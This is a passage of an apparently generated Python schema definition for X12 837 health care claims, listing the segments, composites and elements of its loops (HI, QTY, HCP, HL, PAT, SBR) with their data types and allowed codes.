codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Treatment Code Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'QTY', Properties(syntax='',req_sit=u'S',repeat=u'4',pos=u'240',desc=u'Claim Quantity'), Element( u'QTY01', Properties(desc=u'Quantity Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'CA', u'CD', u'LA', u'NA'] ) ), Element( u'QTY02', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'R',refdes='',seq=u'03',desc=u'Composite Unit of Measure'), Element( u'QTY03-01', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'DA'] ) ), Element( u'QTY03-02', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'QTY03-03', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=2, codes=[] ) ), Element( u'QTY03-04', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=3, codes=[] ) ), Element( u'QTY03-05', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'QTY03-06', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=5, codes=[] ) ), Element( u'QTY03-07', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[] ) ), Element( u'QTY03-08', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'QTY03-09', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=8, codes=[] ) ), Element( u'QTY03-10', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'QTY03-11', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'QTY03-12', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=11, codes=[] ) ), Element( u'QTY03-13', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[] ) ), Element( u'QTY03-14', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'QTY03-15', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=14, codes=[] ) ), ), Element( u'QTY04', Properties(desc=u'Free-form Information', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=4, codes=[] ) ), ), Segment( u'HCP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'241',desc=u'Claim Pricing/Repricing Information'), Element( u'HCP01', Properties(desc=u'Pricing Methodology', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'00', u'01', u'02', u'03', u'04', u'05', u'06', u'07', u'08', u'09', u'10', u'11', u'12', u'13', u'14'] ) ), Element( u'HCP02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'HCP03', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'HCP04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'HCP05', Properties(desc=u'Rate', req_sit=u'S', data_type=(u'R',u'1',u'9'), position=5, codes=[] ) ), Element( u'HCP06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[] ) ), Element( u'HCP07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'HCP08', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=8, codes=[] ) ), Element( u'HCP09', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=9, codes=[u'HC'] ) ), Element( u'HCP10', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=10, codes=[] ) ), Element( u'HCP11', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=11, codes=[u'DA', u'UN'] ) ), Element( u'HCP12', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=12, codes=[] ) ), Element( u'HCP13', Properties(desc=u'Reject Reason Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=13, codes=[u'T1', u'T2', u'T3', u'T4', u'T5', u'T6'] ) ), Element( u'HCP14', Properties(desc=u'Policy Compliance Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=14, codes=[u'1', u'2', u'3', u'4', u'5'] ) ), Element( u'HCP15', Properties(desc=u'Exception Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=15, codes=[u'1', u'2', u'3', u'4', u'5', u'6'] ) ), ), parsed_837_2305, parsed_837_2310A, parsed_837_2310B, parsed_837_2310C, parsed_837_2310E, parsed_837_2320, parsed_837_2400, ) parsed_837_2000C = Loop( u'2000C', Properties(looptype='',repeat=u'>1',pos=u'160',req_sit=u'S',desc=u'Patient Hierarchical Level'), Segment( u'HL', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'001',desc=u'Patient Hierarchical Level'), Element( u'HL01', Properties(desc=u'Hierarchical ID Number', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=1, codes=[] ) ), Element( u'HL02', Properties(desc=u'Hierarchical Parent ID Number', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=2, codes=[] ) ), Element( u'HL03', Properties(desc=u'Hierarchical Level Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=3, codes=[u'23'] ) ), Element( u'HL04', Properties(desc=u'Hierarchical Child Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=4, codes=[u'0'] ) ), ), Segment( u'PAT', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'007',desc=u'Patient Information'), Element( u'PAT01', Properties(desc=u'Individual Relationship Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'01', u'04', u'05', u'07', u'10', u'15', u'17', u'19', u'20', u'21', u'22', u'23', u'24', u'29', u'32', u'33', u'36', u'39', u'40', u'41', u'43', u'53', u'G8'] ) ), Element( u'PAT02', Properties(desc=u'Patient Location Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=2, codes=[] ) ), Element( u'PAT03', Properties(desc=u'Employment Status Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=3, codes=[] ) ), Element( u'PAT04', Properties(desc=u'Student Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'PAT05', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=5, codes=[] ) ), Element( u'PAT06', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=6, codes=[] ) ), Element( u'PAT07', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=7, codes=[] ) ), Element( u'PAT08', Properties(desc=u'Weight', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=8, codes=[] ) ), Element( u'PAT09', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=9, codes=[] ) ), ), parsed_837_2010CA, parsed_837_2300, ) parsed_837_2000B = Loop( u'2000B', Properties(looptype='',repeat=u'>1',pos=u'020',req_sit=u'R',desc=u'Subscriber Hierarchichal Level'), Segment( u'HL', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'001',desc=u'Subscriber Hierarchical Level'), Element( u'HL01', Properties(desc=u'Hierarchical ID Number', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=1, codes=[] ) ), Element( u'HL02', Properties(desc=u'Hierarchical Parent ID Number', req_sit=u'R', data_type=(u'AN',u'1',u'12'), position=2, codes=[] ) ), Element( u'HL03', Properties(desc=u'Hierarchical Level Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=3, codes=[u'22'] ) ), Element( u'HL04', Properties(desc=u'Hierarchical Child Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=4, codes=[u'0', u'1'] ) ), ), Segment( u'SBR', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'005',desc=u'Subscriber Information'), Element( u'SBR01', Properties(desc=u'Payer Responsibility Sequence Number Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=1, codes=[u'P', u'S', u'T'] ) ), Element( u'SBR02', Properties(desc=u'Individual Relationship Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'18'] ) ), Element( u'SBR03', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'SBR04', Properties(desc=u'Name', req_sit=u'S', data_type=(u'AN',u'1',u'60'), position=4, codes=[] ) ), Element( u'SBR05', Properties(desc=u'Insurance Type Code', req_sit=u'N', data_type=(u'ID',u'1',u'3'), position=5, codes=[] ) ), Element( u'SBR06', Properties(desc=u'Coordination of Benefits Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=6, codes=[] ) ), Element( u'SBR07', Properties(desc=u'Yes/No Condition or Response Code', 